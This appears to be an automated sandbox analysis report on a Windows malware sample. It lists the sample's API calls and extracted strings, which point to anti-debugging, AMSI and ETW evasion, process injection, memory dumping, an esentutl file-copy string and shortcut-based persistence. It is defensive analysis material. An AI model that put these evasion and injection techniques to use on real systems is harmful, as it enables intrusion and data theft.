Part of subcall function 02B2F744: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02B2F766
Part of subcall function 02B2F744: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02B2F77D

Part of subcall function 02B17E5C: GetFileAttributesA.KERNEL32(00000000,?,02B3041F,ScanString,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,ScanString,02B97380,02B3B7B8,UacScan,02B97380,02B3B7B8,UacInitialize), ref: 02B17E67

Part of subcall function 02B1C364: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02C8B8B8,?,02B30751,ScanBuffer,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,ScanBuffer,02B97380,02B3B7B8,OpenSession), ref: 02B1C37B

Part of subcall function 02B2DD70: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02B2DE40), ref: 02B2DDAB
Part of subcall function 02B2DD70: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,02B2DE40), ref: 02B2DDDB
Part of subcall function 02B2DD70: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 02B2DDF0
Part of subcall function 02B2DD70: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 02B2DE1C
Part of subcall function 02B2DD70: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 02B2DE25

Part of subcall function 02B17E80: GetFileAttributesA.KERNEL32(00000000,?,02B3356F,ScanString,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,ScanBuffer,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,Initialize), ref: 02B17E8B

Part of subcall function 02B18048: CreateDirectoryA.KERNEL32(00000000,00000000,?,02B3370D,OpenSession,02B97380,02B3B7B8,ScanString,02B97380,02B3B7B8,Initialize,02B97380,02B3B7B8,ScanString,02B97380,02B3B7B8), ref: 02B18055

Strings

MZP, xrefs: 02B39992
advapi32, xrefs: 02B3923F
OpenSession, xrefs: 02B2F89A, 02B2FA2A, 02B30312, 02B30433, 02B30540, 02B30658, 02B30A2C, 02B30BCA, 02B30D70, 02B30E90, 02B31025, 02B3111D, 02B3130A, 02B314B0, 02B317DE, 02B31A0C, 02B31B80, 02B31CA3, 02B31E21, 02B321C7, 02B3224A, 02B32362, 02B3247A, 02B32586, 02B327A4, 02B328C1, 02B32B60, 02B32BDC, 02B32DF1, 02B32F91, 02B332D3, 02B33461, 02B3367B, 02B33795, 02B33B36, 02B35634, 02B357CE, 02B3596E, 02B35B13, 02B35C87, 02B35ED7, 02B35F8B, 02B36248, 02B36340, 02B367EF, 02B36AC9, 02B36C3D, 02B36DD3, 02B36F83, 02B3766C, 02B37871, 02B37A8A, 02B37B2D, 02B37CC0, 02B38088, 02B38324, 02B38621, 02B3877A, 02B38920, 02B38AAD, 02B38C41, 02B38DC0, 02B38EC3, 02B39037, 02B392B5, 02B394A5, 02B39796, 02B3991C, 02B39B77, 02B39D7D, 02B39F41, 02B3A230, 02B3A2DF, 02B3A51F, 02B3A716, 02B3A80E, 02B3ACC0, 02B3B288
DllGetActivationFactory, xrefs: 02B3006D
C:\Windows\System32\, xrefs: 02B3040A, 02B3796B, 02B386B3
FlushInstructionCache, xrefs: 02B3ABD8
GET, xrefs: 02B32455
MiniDumpWriteDump, xrefs: 02B3924E
EnumProcessModules, xrefs: 02B3A9EE
sppc, xrefs: 02B39E86, 02B39EB9, 02B39EEC, 02B39F1F, 02B3AE2F, 02B3AE62
NtSetSecurityObject, xrefs: 02B39276
RetailTracerEnable, xrefs: 02B3A0AF
EtwEventWrite, xrefs: 02B3B148
GZmMS1j, xrefs: 02B2F80F
BCryptRegisterProvider, xrefs: 02B2FF0F
CreateProcessW, xrefs: 02B3AA0C
NtMapViewOfSection, xrefs: 02B3AF7D
spp, xrefs: 02B3A0F9, 02B3A12C, 02B3ADC9
I_QueryTagInformation, xrefs: 02B3923A
CryptSIPGetSignedDataMsg, xrefs: 02B2FDFA
mssip32, xrefs: 02B2FDAB, 02B2FDDE, 02B2FE11, 02B3A192
VirtualProtect, xrefs: 02B3AB3F
TrustOpenStores, xrefs: 02B2FC03
endpointdlp, xrefs: 02B3A464, 02B3A497, 02B3A4CA, 02B3A4FD
Kernel32, xrefs: 02B3AA02, 02B3AA11, 02B3AA4D
CreateProcessAsUserW, xrefs: 02B3AA2A, 02B3AA48
FindCertsByIssuer, xrefs: 02B2FC69
DlpNotifyPreDragDrop, xrefs: 02B3A44D
DlpCheckIsCloudSyncApp, xrefs: 02B3A480
C:\\Users\\Public\\Libraries\\, xrefs: 02B3616F
OpenProcess, xrefs: 02B3AB72
DlpGetArchiveFileTraceInfo, xrefs: 02B3A4B3
SLGetGenuineInformation, xrefs: 02B39E6F
CreateProcessWithLogonW, xrefs: 02B3AA39
DlpGetWebSiteAccess, xrefs: 02B3A4E6
Advapi, xrefs: 02B3A9B7, 02B3A9C6, 02B3A9D5, 02B3A9E4, 02B3AA20, 02B3AA2F, 02B3AA3E
UacInitialize, xrefs: 02B2FA8E, 02B30155, 02B30898, 02B3553C, 02B358F2, 02B35DDF, 02B378ED, 02B3912F, 02B3954B
NtWriteVirtualMemory, xrefs: 02B3B0AF
[InternetShortcut], xrefs: 02B36D48
CryptSIPGetInfo, xrefs: 02B2FD94
NtWaitForSingleObject, xrefs: 02B3A677
RtlAllocateHeap, xrefs: 02B3A644, 02B3A6AA
NtCreateSection, xrefs: 02B3AF4A
ieproxy, xrefs: 02B2FB14, 02B2FB3B, 02B2FB6B
SLGetEncryptedPIDEx, xrefs: 02B3AE4B
NtQuerySecurityObject, xrefs: 02B3AFE3
EnumServicesStatusW, xrefs: 02B3A9C1
NtGetWriteWatch, xrefs: 02B3AE7E
BCryptQueryProviderRegistration, xrefs: 02B2FEDC
VirtualAllocEx, xrefs: 02B3AB0C
SLGatherMigrationBlob, xrefs: 02B3AE18
NtOpenFile, xrefs: 02B3B0E2
ScanBuffer, xrefs: 02B2F9C6, 02B2FD1E, 02B2FF48, 02B304AF, 02B305BC, 02B306D4, 02B30AA8, 02B30C46, 02B30DEC, 02B30F0C, 02B310A1, 02B31199, 02B31402, 02B315A8, 02B31744, 02B3185A, 02B318E8, 02B31BFC, 02B31E9D, 02B31FAE, 02B3214B, 02B324F6, 02B32602, 02B32820, 02B3293D, 02B32C58, 02B32CF9, 02B32E6D, 02B3302D, 02B3334F, 02B33719, 02B339B8, 02B33ABA, 02B356B0, 02B359EA, 02B35D03, 02B36083, 02B363BC, 02B36666, 02B3686B, 02B369D1, 02B36B45, 02B36BC1, 02B37764, 02B377F5, 02B37C25, 02B37DB8, 02B37F14, 02B3800C, 02B38529, 02B387F6, 02B3899C, 02B38B29, 02B38CBD, 02B38E3C, 02B390B3, 02B391AB, 02B395C7, 02B398A0, 02B39A39, 02B39C6F, 02B39D01, 02B3A039, 02B3A3D7, 02B3A906, 02B3B20C
NtQueryDirectoryFile, xrefs: 02B3A994
URL=file:", xrefs: 02B36D57
NtAccessCheck, xrefs: 02B3B016
wintrust, xrefs: 02B2FC1A, 02B2FC4D, 02B2FC80
psapi, xrefs: 02B3A15F
/d , xrefs: 02B364B5
ntdll, xrefs: 02B3922B, 02B3927B, 02B3928F, 02B3A628, 02B3A65B, 02B3A68E, 02B3A6C1, 02B3A6F4, 02B3AE95, 02B3AEC8, 02B3AEFB, 02B3AF2E, 02B3AF61, 02B3AF94, 02B3AFC7, 02B3AFFA, 02B3B02D, 02B3B060, 02B3B093, 02B3B0C6, 02B3B0F9, 02B3B12C, 02B3B15F
EnumServicesStatusExA, xrefs: 02B3A9D0
D2^Tyj}~TVrgoij[Dkcxn}dmu, xrefs: 02B3098A
/o, xrefs: 02B364C0
NtDeviceIoControlFile, xrefs: 02B3A985
dbgcore, xrefs: 02B39253, 02B39267
acS, xrefs: 02B33D02
LdrLoadDll, xrefs: 02B3B049
NtReadVirtualMemory, xrefs: 02B3AFB0
Ntdll, xrefs: 02B3A97B, 02B3A98A, 02B3A999, 02B3A9A8
NtOpenSection, xrefs: 02B3AF17
.url, xrefs: 02B35D93
bcrypt, xrefs: 02B2FEC0, 02B2FEF3, 02B2FF26, 02B3A2BD
VirtualAlloc, xrefs: 02B3AAD9
WintrustAddActionID, xrefs: 02B2FC36
IconIndex=, xrefs: 02B36DAD
UacUninitialize, xrefs: 02B33844, 02B33BB2
BCryptVerifySignature, xrefs: 02B2FEA9, 02B3A2A6
EtwEventWriteEx, xrefs: 02B3B115
kernel32, xrefs: 02B3AAF0, 02B3AB23, 02B3AB56, 02B3AB89, 02B3ABBC, 02B3ABEF, 02B3AC22
SLIsGenuineLocalEx, xrefs: 02B39ED5
Initialize, xrefs: 02B2F8FE, 02B3081C, 02B309B0, 02B30B4E, 02B30CF4, 02B30FA9, 02B3164C, 02B31A88, 02B31F32, 02B3203C, 02B32723, 02B32A55, 02B32D75, 02B330A9, 02B33257, 02B33583, 02B3393C, 02B35876, 02B35C0B, 02B36007, 02B361CC, 02B36438, 02B3656E, 02B36773, 02B376E8, 02B383A0, 02B393AD, 02B39FBD, 02B3A35B, 02B3A88A, 02B3AC44, 02B3B190
EnumServicesStatusExW, xrefs: 02B3A9DF
SxTracerGetThreadContextDebug, xrefs: 02B3A0E2, 02B3ADB2
RtlQueryProcessDebugInformation, xrefs: 02B3A9A3
CreateProcessAsUserA, xrefs: 02B3AA1B
smartscreenps, xrefs: 02B30051, 02B30084, 02B300B7
NtOpenObjectAuditAlarm, xrefs: 02B39226
CryptSIPVerifyIndirectData, xrefs: 02B2FDC7, 02B3A17B
GetProxyDllInfo, xrefs: 02B2FB2A
C:\\Windows\\System32\\esentutl.exe /y , xrefs: 02B364AA
NtQueryInformationThread, xrefs: 02B3AEE4
GetProcessMemoryInfo, xrefs: 02B3A148
MiniDumpReadDumpStream, xrefs: 02B39262
WriteVirtualMemory, xrefs: 02B3ABA5
UacScan, xrefs: 02B2F836, 02B300D9, 02B301D1, 02B307A0, 02B31386, 02B31964, 02B322C6, 02B329D9, 02B33C2E, 02B35B8F, 02B360FF, 02B362C4, 02B365EA, 02B366F7, 02B36955, 02B36A4D, 02B375F0, 02B37992, 02B37BA9, 02B37D3C, 02B37F90, 02B3841C, 02B385A5, 02B386FE, 02B388A4, 02B38A31, 02B38BC5, 02B38D44, 02B38FBB, 02B39429, 02B39643, 02B39824, 02B399BD, 02B39BF3, 02B3AA63
DllGetClassObject, xrefs: 02B2FB03, 02B3003A, 02B3A115, 02B3ADE5
SLLoadApplicationPolicies, xrefs: 02B39F08
http, xrefs: 02B32128
psapi, xrefs: 02B3A9F3
NtQuerySystemInformation, xrefs: 02B3A976
tquery, xrefs: 02B3A0C6
LdrGetProcedureAddress, xrefs: 02B3B07C
SLGetSLIDList, xrefs: 02B39EA2
can, xrefs: 02B33D15
sppwmi, xrefs: 02B3ADFC
ScanString, xrefs: 02B2F962, 02B2FB8D, 02B2FCA2, 02B2FE33, 02B2FFC4, 02B3024D, 02B3038E, 02B30914, 02B3152C, 02B316C8, 02B31B04, 02B31D1F, 02B31D9B, 02B320B8, 02B323DE, 02B326A7, 02B32AE4, 02B32F15, 02B33125, 02B331DB, 02B334DD, 02B335FF, 02B338C0, 02B355B8, 02B35752, 02B35A97, 02B35E5B, 02B364F2, 02B36CD8, 02B36E4F, 02B36F07, 02B37574, 02B37A0E, 02B37E75, 02B38498, 02B38F3F, 02B39331, 02B3971A, 02B39AFB, 02B39DF9, 02B3A1B4, 02B3A59B, 02B3A792, 02B3AD3C
RtlCreateQueryDebugBuffer, xrefs: 02B3A6DD
NtAlertResumeThread, xrefs: 02B3A611
NtQueryVirtualMemory, xrefs: 02B3AEB1
HotKey=, xrefs: 02B36EE1
WinHttp.WinHttpRequest.5.1, xrefs: 02B3233C
CreateProcessA, xrefs: 02B3A9FD
SetUnhandledExceptionFilter, xrefs: 02B3AC0B
DllRegisterServer, xrefs: 02B2FB54, 02B300A0
EnumServicesStatusA, xrefs: 02B3A9B2
C:\Users\Public\, xrefs: 02B35D88, 02B36FF3
NtOpenProcess, xrefs: 02B3928A

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: File$Module$AddressAttributesHandleNamePathProc$CheckCloseCreateDebuggerDirectoryFreeInetInformationLibraryName_OfflineOpenPresentQueryReadRemote
String ID: /d $ /o$.url$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows\\System32\\esentutl.exe /y $CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$acS$advapi32$bcrypt$can$dbgcore$endpointdlp$http$ieproxy$kernel32$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$tquery$wintrust
API String ID: 297057983-2644593349
Opcode ID: 36583ab9758dabbdb91b968e4c22a5d8d4647018fd31f8616ae047bb8743ca87
Instruction ID: 9a6282fd7272a6d13b30a3fed263af012b6cc06ab7deb173e0043bc1b8e8e5f7
Opcode Fuzzy Hash: 36583ab9758dabbdb91b968e4c22a5d8d4647018fd31f8616ae047bb8743ca87
Instruction Fuzzy Hash: 5A14E875A0416C8FDB11EB64DD80ACE73FAFF85304F9041E6E149EB228DA30AE959F51

Function 02B38128 Relevance: 162.0, APIs: 5, Strings: 86, Instructions: 2778
processthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02B289D0: FreeLibrary.KERNEL32(75380000,00000000,00000000,00000000,00000000,02B9738C,Function_0000662C,00000004,02B9739C,02B9738C,05F5E103,00000040,02B973A0,75380000,00000000,00000000), ref: 02B28AAA

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02C8B7E0,02C8B824,OpenSession,02B97380,02B3B7B8,UacScan,02B97380), ref: 02B386E9
ResumeThread.KERNEL32(00000000,ScanBuffer,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,UacScan,02B97380,02B3B7B8,ScanBuffer,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8), ref: 02B38D33
CloseHandle.KERNEL32(00000000,ScanBuffer,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,UacScan,02B97380,02B3B7B8,00000000,ScanBuffer,02B97380,02B3B7B8,OpenSession,02B97380), ref: 02B38EB2

Part of subcall function 02B2894C: LoadLibraryW.KERNEL32(bcrypt,?,0000086C,00000000,02B973A8,02B2A587,ScanString,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,Initialize,02B973A8,02B2A93C,UacScan), ref: 02B28960
Part of subcall function 02B2894C: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02B2897A
Part of subcall function 02B2894C: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,0000086C,00000000,02B973A8,02B2A587,ScanString,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,Initialize), ref: 02B289B6

CloseHandle.KERNEL32(00000000,00000000,ScanBuffer,02B97380,02B3B7B8,UacInitialize,02B97380,02B3B7B8,ScanBuffer,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,UacScan,02B97380), ref: 02B392A4

Part of subcall function 02B17E5C: GetFileAttributesA.KERNEL32(00000000,?,02B3041F,ScanString,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,ScanString,02B97380,02B3B7B8,UacScan,02B97380,02B3B7B8,UacInitialize), ref: 02B17E67

Part of subcall function 02B2DC8C: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02B2DD5E), ref: 02B2DCCB
Part of subcall function 02B2DC8C: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02B2DD05
Part of subcall function 02B2DC8C: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02B2DD32
Part of subcall function 02B2DC8C: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02B2DD3B

Part of subcall function 02B28338: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02B283C2), ref: 02B283A4

ExitProcess.KERNEL32(00000000,OpenSession,02B97380,02B3B7B8,ScanBuffer,02B97380,02B3B7B8,Initialize,02B97380,02B3B7B8,00000000,00000000,00000000,ScanString,02B97380,02B3B7B8), ref: 02B3B2FA

Strings

LdrLoadDll, xrefs: 02B3B049
MZP, xrefs: 02B39992
advapi32, xrefs: 02B3923F
NtReadVirtualMemory, xrefs: 02B3AFB0
OpenSession, xrefs: 02B38134, 02B382A8, 02B38324, 02B38621, 02B3877A, 02B38920, 02B38AAD, 02B38C41, 02B38DC0, 02B38EC3, 02B39037, 02B392B5, 02B394A5, 02B39796, 02B3991C, 02B39B77, 02B39D7D, 02B39F41, 02B3A230, 02B3A2DF, 02B3A51F, 02B3A716, 02B3A80E, 02B3ACC0, 02B3B288
C:\Windows\System32\, xrefs: 02B386B3
Ntdll, xrefs: 02B3A97B, 02B3A98A, 02B3A999, 02B3A9A8
NtOpenSection, xrefs: 02B3AF17
FlushInstructionCache, xrefs: 02B3ABD8
MiniDumpWriteDump, xrefs: 02B3924E
bcrypt, xrefs: 02B3A2BD
VirtualAlloc, xrefs: 02B3AAD9
EnumProcessModules, xrefs: 02B3A9EE
BCryptVerifySignature, xrefs: 02B3A2A6
EtwEventWriteEx, xrefs: 02B3B115
kernel32, xrefs: 02B3AAF0, 02B3AB23, 02B3AB56, 02B3AB89, 02B3ABBC, 02B3ABEF, 02B3AC22
sppc, xrefs: 02B39E86, 02B39EB9, 02B39EEC, 02B39F1F, 02B3AE2F, 02B3AE62
NtSetSecurityObject, xrefs: 02B39276
SLIsGenuineLocalEx, xrefs: 02B39ED5
RetailTracerEnable, xrefs: 02B3A0AF
EtwEventWrite, xrefs: 02B3B148
Initialize, xrefs: 02B381B0, 02B383A0, 02B393AD, 02B39FBD, 02B3A35B, 02B3A88A, 02B3AC44, 02B3B190
EnumServicesStatusExW, xrefs: 02B3A9DF
CreateProcessW, xrefs: 02B3AA0C
SxTracerGetThreadContextDebug, xrefs: 02B3A0E2, 02B3ADB2
NtMapViewOfSection, xrefs: 02B3AF7D
spp, xrefs: 02B3A0F9, 02B3A12C, 02B3ADC9
I_QueryTagInformation, xrefs: 02B3923A
RtlQueryProcessDebugInformation, xrefs: 02B3A9A3
mssip32, xrefs: 02B3A192
VirtualProtect, xrefs: 02B3AB3F
endpointdlp, xrefs: 02B3A464, 02B3A497, 02B3A4CA, 02B3A4FD
Kernel32, xrefs: 02B3AA02, 02B3AA11, 02B3AA4D
CreateProcessAsUserW, xrefs: 02B3AA2A, 02B3AA48
CreateProcessAsUserA, xrefs: 02B3AA1B
NtOpenObjectAuditAlarm, xrefs: 02B39226
CryptSIPVerifyIndirectData, xrefs: 02B3A17B
DlpNotifyPreDragDrop, xrefs: 02B3A44D
DlpCheckIsCloudSyncApp, xrefs: 02B3A480
OpenProcess, xrefs: 02B3AB72
DlpGetArchiveFileTraceInfo, xrefs: 02B3A4B3
NtQueryInformationThread, xrefs: 02B3AEE4
GetProcessMemoryInfo, xrefs: 02B3A148
MiniDumpReadDumpStream, xrefs: 02B39262
WriteVirtualMemory, xrefs: 02B3ABA5
SLGetGenuineInformation, xrefs: 02B39E6F
UacScan, xrefs: 02B3841C, 02B385A5, 02B386FE, 02B388A4, 02B38A31, 02B38BC5, 02B38D44, 02B38FBB, 02B39429, 02B39643, 02B39824, 02B399BD, 02B39BF3, 02B3AA63
CreateProcessWithLogonW, xrefs: 02B3AA39
DlpGetWebSiteAccess, xrefs: 02B3A4E6
DllGetClassObject, xrefs: 02B3A115, 02B3ADE5
Advapi, xrefs: 02B3A9B7, 02B3A9C6, 02B3A9D5, 02B3A9E4, 02B3AA20, 02B3AA2F, 02B3AA3E
SLLoadApplicationPolicies, xrefs: 02B39F08
UacInitialize, xrefs: 02B3912F, 02B3954B
psapi, xrefs: 02B3A9F3
NtQuerySystemInformation, xrefs: 02B3A976
tquery, xrefs: 02B3A0C6
LdrGetProcedureAddress, xrefs: 02B3B07C
NtWriteVirtualMemory, xrefs: 02B3B0AF
SLGetSLIDList, xrefs: 02B39EA2
NtWaitForSingleObject, xrefs: 02B3A677
RtlAllocateHeap, xrefs: 02B3A644, 02B3A6AA
sppwmi, xrefs: 02B3ADFC
ScanString, xrefs: 02B3822C, 02B38498, 02B38F3F, 02B39331, 02B3971A, 02B39AFB, 02B39DF9, 02B3A1B4, 02B3A59B, 02B3A792, 02B3AD3C
NtCreateSection, xrefs: 02B3AF4A
RtlCreateQueryDebugBuffer, xrefs: 02B3A6DD
SLGetEncryptedPIDEx, xrefs: 02B3AE4B
NtAlertResumeThread, xrefs: 02B3A611
NtQuerySecurityObject, xrefs: 02B3AFE3
NtQueryVirtualMemory, xrefs: 02B3AEB1
EnumServicesStatusW, xrefs: 02B3A9C1
NtGetWriteWatch, xrefs: 02B3AE7E
VirtualAllocEx, xrefs: 02B3AB0C
SLGatherMigrationBlob, xrefs: 02B3AE18
NtOpenFile, xrefs: 02B3B0E2
CreateProcessA, xrefs: 02B3A9FD
ScanBuffer, xrefs: 02B38529, 02B387F6, 02B3899C, 02B38B29, 02B38CBD, 02B38E3C, 02B390B3, 02B391AB, 02B395C7, 02B398A0, 02B39A39, 02B39C6F, 02B39D01, 02B3A039, 02B3A3D7, 02B3A906, 02B3B20C
NtQueryDirectoryFile, xrefs: 02B3A994
NtAccessCheck, xrefs: 02B3B016
psapi, xrefs: 02B3A15F
SetUnhandledExceptionFilter, xrefs: 02B3AC0B
ntdll, xrefs: 02B3922B, 02B3927B, 02B3928F, 02B3A628, 02B3A65B, 02B3A68E, 02B3A6C1, 02B3A6F4, 02B3AE95, 02B3AEC8, 02B3AEFB, 02B3AF2E, 02B3AF61, 02B3AF94, 02B3AFC7, 02B3AFFA, 02B3B02D, 02B3B060, 02B3B093, 02B3B0C6, 02B3B0F9, 02B3B12C, 02B3B15F
EnumServicesStatusExA, xrefs: 02B3A9D0
EnumServicesStatusA, xrefs: 02B3A9B2
NtDeviceIoControlFile, xrefs: 02B3A985
NtOpenProcess, xrefs: 02B3928A
dbgcore, xrefs: 02B39253, 02B39267

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: CloseFileLibrary$CreateFreeHandlePathProcess$AddressAttributesCacheExitFlushInstructionLoadNameName_ProcResumeThreadUserWrite
String ID: Advapi$BCryptVerifySignature$C:\Windows\System32\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$I_QueryTagInformation$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$advapi32$bcrypt$dbgcore$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
API String ID: 2769005614-3738268246
Opcode ID: a15f24f87ca8209a4eb38191566a1fbacc7f49310c7b190f1f1266dea5896fda
Instruction ID: 760498d1fe16e215b833af70e46a3420b66f908e4c86cba675ec3650dbe8bc54
Opcode Fuzzy Hash: a15f24f87ca8209a4eb38191566a1fbacc7f49310c7b190f1f1266dea5896fda
Instruction Fuzzy Hash: DB43FC79A0422CCFDB11EB64DD809CE73FAEF85344F9041E5E149EB228DA30AE959F51

Function 02B33E12 Relevance: 41.8, APIs: 3, Strings: 23, Instructions: 2804sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 02B289D0: FreeLibrary.KERNEL32(75380000,00000000,00000000,00000000,00000000,02B9738C,Function_0000662C,00000004,02B9739C,02B9738C,05F5E103,00000040,02B973A0,75380000,00000000,00000000), ref: 02B28AAA

Part of subcall function 02B2DC8C: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02B2DD5E), ref: 02B2DCCB
Part of subcall function 02B2DC8C: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02B2DD05
Part of subcall function 02B2DC8C: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02B2DD32
Part of subcall function 02B2DC8C: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02B2DD3B

Sleep.KERNEL32(000003E8,ScanBuffer,02B97380,02B3B7B8,UacScan,02B97380,02B3B7B8,ScanString,02B97380,02B3B7B8,02B3BB30,00000000,00000000,02B3BB24,00000000,00000000), ref: 02B340CB

Part of subcall function 02B288B8: LoadLibraryW.KERNEL32(amsi), ref: 02B288C1
